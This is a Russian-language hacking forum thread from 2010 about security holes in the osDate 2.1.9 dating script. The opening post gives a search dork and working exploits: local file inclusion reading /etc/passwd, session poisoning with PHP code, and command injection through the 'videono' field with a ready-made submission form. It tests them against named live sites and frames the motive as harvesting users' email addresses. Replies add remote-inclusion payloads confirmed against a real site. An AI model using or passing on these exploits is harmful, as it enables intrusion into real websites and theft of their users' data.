Старый 03.07.2010, 16:26   #1
Iceangel_
 
Аватар для Iceangel_
 
Регистрация: 01.07.2010
Сообщений: 45
Репутация: 25
По умолчанию Уязвимости osDate(Open Source Dating System)

Уязвимости osDate(Open Source Dating System) 2.1.9

download: http://www.tufat.com/files_lgpl/script_39.zip
dork: "Powered by osDate"

Думаю, если кто-нибудь занимается датингом, наверняка ему пригодится нижеизложенный обзор уязвимостей, т.к. в БД уязвимых сайтов хранятся адреса почтовых аккуантов пользователей... А также встроенная партнерская программа, зачисляющая на счет денежку, за привлеченных пользователей...


1)[LFI]

/init.php
уязвимый код:
PHP код:
if ($_REQUEST['lang']!= '') {$opt_lang=$_REQUEST['lang'];}
elseif (
$_SESSION['opt_lang'] != '') {$opt_lang=str_replace("'",'',$_SESSION['opt_lang']);}
elseif (
$_COOKIE[$config['cookie_prefix'].'opt_lang'] != '') {$opt_lang=$_COOKIE[$config['cookie_prefix'].'opt_lang'];}
elseif (
$_SESSION['AdminId'] > 0) { $opt_lang $config['admin_lang']; }
else {
$opt_lang=DEFAULT_LANG; }

// hack - fix later                     //правильно-правильно, фиксируйте позже :DDD
if ( strlen$opt_lang ) <= ) {
    
$opt_lang DEFAULT_LANG;
}

/--/

include(
'language/lang_'.$opt_lang.'/profile_questions.php'); 
эксплуатирование:

Код:
init.php?lang=english/../../../../../../../../../../etc/passwd%00
POC:
Код:
http://findmaturepartner.com/init.php?lang=english/../../../../../../../../../../etc/passwd%00

2) [Определение сессии]
Чтобы было что инклудить...

уязвимый код:
/onlineusers.php
PHP код:
if ( !defined'SMARTY_DIR' ) ) {
    include_once( 
'init.php' );
}
/--/
$psize getPageSize(); 
/includes/internal/Functions.php
PHP код:
function getPageSize () {

    if ( isset( 
$_REQUEST['results_per_page'] ) && $_REQUEST['results_per_page'] ) {

        
$psize $_REQUEST['results_per_page'];

        
$GLOBALS['config']['search_results_per_page'] = $_REQUEST['results_per_page'] ;

        
$_SESSION['ResultsPerPage'] = $_REQUEST['results_per_page']; 
эксплуатирование:
Код:
onlineusers.php?results_per_page=<?php phpinfo(); ?>


раскрытие пути:
phpinfo.php находящийся в корневой директории

3) [Code execution]
уязвимый код:
/savevideo.php
PHP код:
//вот эта переменная будет отвечать за код, который будет у нас исполняться
$videono $_REQUEST['videono'];  
//здесь идет сравнение переменной с единицой, иначе переменной присвоится другое значение, нам этого не надо и чтобы обойти это, читаем статью Электа,
//"Важно только то, чтобы первым символом в строке было число - именно с ним произойдет сравнение."
if ($videono == '' or $videono or !isset($videono) or $videono == null$videono$osDB->getOne('select max(videono)+1 from ! where userid = ?',array(USER_VIDEOS_TABLE,$userid) );

/--/
if( 
is_uploaded_file$_FILES['txtimage']['tmp_name'] ) ) {    
    
$img_file $_FILES['txtimage']['tmp_name'];
    
$fname $_FILES['txtimage']['name'];
    
clearstatcache();
    
/* Create video file name */
    
if (substr_count($fname,'.flv') > || substr_count($fname,'.swf') > ) {   //также для эксплуатации уязвимости, отправляемый файл не должен содержать в своем имени .flv
        
/--/
    } else {

        
$video_filename $userinfo['username'].'_V'.$videono.'_'.time().'.flv';
        include (
'mpeg2flv/mpeg2flv.php');
        
$rtn convert2flv($img_fileUSER_VIDEO_DIR.$video_filename);   //вызов злополучной функции 
/mpeg2flv/mpeg2flv.php
PHP код:
function convert2flv($fromfile$tofile) {
    
$this_dir dirname(__FILE__) . '/';
    
$ffmpeg_format="";
    if(
strstr($_SERVER['SERVER_SOFTWARE'],"Win32") or strstr($_SERVER['OS'],'Window')) {
        
$ffmpeg_format $this_dir."ffmpeg.exe -y -i %s %s"
    } else {
        
$ffmpeg_format "LD_LIBRARY_PATH=. ./ffmpeg -y -i %s %s > /dev/null 2>&1";    
    }

    
$ffmpeg_command sprintf($ffmpeg_format$fromfile$tofile);                 //формируется команда... 

    
if (system($ffmpeg_command$ret_value) === FALSE || $ret_value != 0) {   // а вот и исполнение нашего кода...
            // ffmpeg was failed
        
return FALSE;
    } elseif (!
is_file($tofile)) { return FALSE; }

    return 
TRUE;

эксплуатирование(работает только в Linux):
Для эксплуатации уязвимости, необходимо чтобы была определена $_SESSION['UserId'], а проще говоря, нужно быть залогиненным...
Отравляем файл(!= *.flv*) скрипту и переменную $videono начинающююся с цифры =>1, используя ; отсекаем место под нашу команду...

Набросал быстренько формочку, для удобства...
PHP код:
<form action="http://site.com/savevideo.php" method="post" enctype="multipart/form-data">
<
input type="file" name="txtimage"><br
<
input type="text" name="videono" value="2; id; ">
<
input type="submit" value="Execute"><br>
</
form
(c) Iceangel_ 2009

Последний раз редактировалось (dm); 19.08.2010 в 02:33.. Причина: изменение заголовка
Iceangel_ вне форума   Ответить с цитированием
Старый 07.07.2010, 14:25   #2
Atra Pluvia
 
Регистрация: 07.07.2010
Сообщений: 21
Репутация: 53
По умолчанию

RFI(register globals = On):
../forum/adminLogin.php?config[forum_installed]=http://site/index.php%00
../forum/userLogin.php?config[forum_installed]=../../../../../../../../../etc/passwd%00

Code:

PHP код:
if ( $config['forum_installed'] == '' || $config['forum_installed'] == 'None' ) {
    include_once(
'None_forum.php');
} else {
    include_once(
$config['forum_installed'] . '_forum.php');

http://www.asksizim.com/forum/userLogin.php?config[forum_installed]=data:,<?php echo 'Test';?>

nikp
Работает, там просто файрволл не всё пропускает.
Atra Pluvia вне форума   Ответить с цитированием
Старый 07.07.2010, 14:53   #3
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Цитата:
Сообщение от Atra Pluvia Посмотреть сообщение
RFI(register globals = On):

http://www.asksizim.com/forum/userLogin.php?config[forum_installed]=data:,<?php echo 'Test';?>
Пост свежий, но пример не работает, можно показать работающий вариант?
nikp вне форума   Ответить с цитированием
Старый 07.07.2010, 15:11   #4
Chelios
 
Регистрация: 05.07.2010
Сообщений: 42
Репутация: 14
По умолчанию

Цитата:
Сообщение от nikp Посмотреть сообщение
Пост свежий, но пример не работает, можно показать работающий вариант?
работает

Код:
http://www.asksizim.com/forum/userLogin.php?config[forum_installed]=data:,%3C?php%20echo%20'11111111111111111111111';?%3E
||
\/
11111111111111111111111_forum.php
Chelios вне форума   Ответить с цитированием
Ответ

Метки
lfi, rce, rfi

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot